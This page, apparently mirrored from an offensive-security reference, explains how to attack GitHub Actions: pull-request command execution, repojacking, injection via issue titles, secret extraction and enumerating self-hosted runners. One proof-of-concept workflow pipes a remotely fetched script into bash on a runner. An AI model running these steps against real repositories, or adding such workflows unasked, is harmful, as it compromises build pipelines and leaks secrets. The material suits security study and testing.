cicd-github-actions.md (7614B)
1 --- 2 title: "CI/CD - GitHub Actions" 3 section: "DevOps" 4 sectionSlug: "devops" 5 sourcePath: "docs/devops/cicd-github-actions.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/devops/cicd-github-actions.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # CI/CD - GitHub Actions 12 13 GitHub Actions is GitHub’s built-in CI/CD automation tool that lets you build, test, and deploy your code right from your GitHub repository. It runs workflows triggered by events like code pushes, pull requests, or manual triggers. 14 15 ## Lab 16 17 * [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow/) - A GitHub Actions Supply Chain CTF / Goat 18 19 ## Default Action 20 21 The configuration files for GH actions are located in the directory `.github/workflows/` 22 23 You can tell if the action builds pull requests based on its trigger (`on`) instructions: 24 25 ```yaml 26 on: 27 push: 28 branches: 29 - master 30 pull_request: 31 ``` 32 33 In order to run a command in an action that builds pull requests, add a `run` instruction to it. 34 35 ```yaml 36 jobs: 37 print_issue_title: 38 runs-on: ubuntu-latest 39 name: Command execution 40 steps: 41 - run: echo whoami" 42 ``` 43 44 `workflow_dispatch` is a special trigger in GitHub Actions that allows you to manually trigger a workflow from the GitHub UI or via the GitHub API. 45 46 ```yml 47 name: example 48 on: 49 workflow_dispatch: 50 push: 51 branches: [ main ] 52 pull_request: 53 branches: [ main ] 54 55 jobs: 56 build: 57 runs-on: windows-2019 58 59 steps: 60 - name: Execute 61 run: | 62 whoami 63 ``` 64 65 ## Misconfigured Actions 66 67 Analyze repositories to find misconfigured Github actions. 68 69 * [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows. 70 * [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD. 71 72 ```ps1 73 # Using Docker 74 $ docker run ghcr.io/boostsecurityio/poutine:latest 75 76 # Analyze a local repository 77 $ poutine analyze_local . 78 79 # Analyze a remote GitHub repository 80 $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow 81 82 # Analyze all repositories in a GitHub organization 83 $ poutine -token "$GH_TOKEN" analyze_org messypoutine 84 85 # Analyze all projects in a self-hosted Gitlab instance 86 $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo 87 ``` 88 89  90 91 ### Repository Hijacking 92 93 When the action is using a non-existing action, Github username or organization. 94 95 ```yaml 96 - uses: non-existing-org/checkout-action 97 ``` 98 99 > :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/) 100 101 ### Untrusted Input Evaluation 102 103 An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction: 104 105 ```yaml 106 jobs: 107 print_issue_title: 108 runs-on: ubuntu-latest 109 name: Print issue title 110 steps: 111 - run: echo "${{github.event.issue.title}}" 112 ``` 113 114 ### Extract Sensitive Variables and Secrets 115 116 **Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context. 117 118 **Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context. 119 120 ```yml 121 jobs: 122 build: 123 runs-on: ubuntu-latest 124 environment: env 125 steps: 126 - name: Access Secrets 127 env: 128 SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }} 129 run: | 130 echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties 131 ``` 132 133 * [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets. 134 135 ## Self-Hosted Runners 136 137 A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment. 138 139 Scan a public GitHub Organization for Self-Hosted Runners 140 141 * [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition 142 * [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool 143 144 ```ps1 145 gato -s enumerate -t targetOrg -oJ target_org_gato.json 146 ``` 147 148 There are 2 types of self-hosted runners: non-ephemeral and ephemeral. 149 150 * **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment. 151 * **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary. 152 153 Identify the type of self-hosted runner with `gato`: 154 155 ```ps1 156 gato e --repository vercel/next.js 157 [+] The authenticated user is: swisskyrepo 158 [+] The GitHub Classic PAT has the following scopes: repo, workflow 159 - Enumerating: vercel/next.js! 160 [+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners! 161 [+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner! 162 - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal 163 [!] The repository contains a non-ephemeral self-hosted runner! 164 [-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible. 165 ``` 166 167 Example of workflow to run on a non-ephemeral runner: 168 169 ```yml 170 name: POC 171 on: 172 pull_request: 173 174 jobs: 175 security: 176 runs-on: non-ephemeral-runner-name 177 178 steps: 179 - name: cmd-exec 180 run: | 181 curl -k https://ip.ip.ip.ip/exec.sh | bash 182 ``` 183 184 ## References 185 186 * [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners) 187 * [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation) 188 * [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot) 189 * [Weaponizing Dependabot: Pwn Request at its finest - Sébastien Graveline - 02/06/2025](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)